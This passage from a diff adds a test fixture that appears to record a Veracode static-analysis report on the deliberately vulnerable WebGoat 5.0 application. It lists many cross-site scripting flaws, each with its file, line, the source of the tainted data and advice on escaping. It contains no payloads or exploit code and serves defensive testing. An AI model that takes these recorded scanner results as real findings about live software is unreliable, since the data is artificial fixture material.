+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
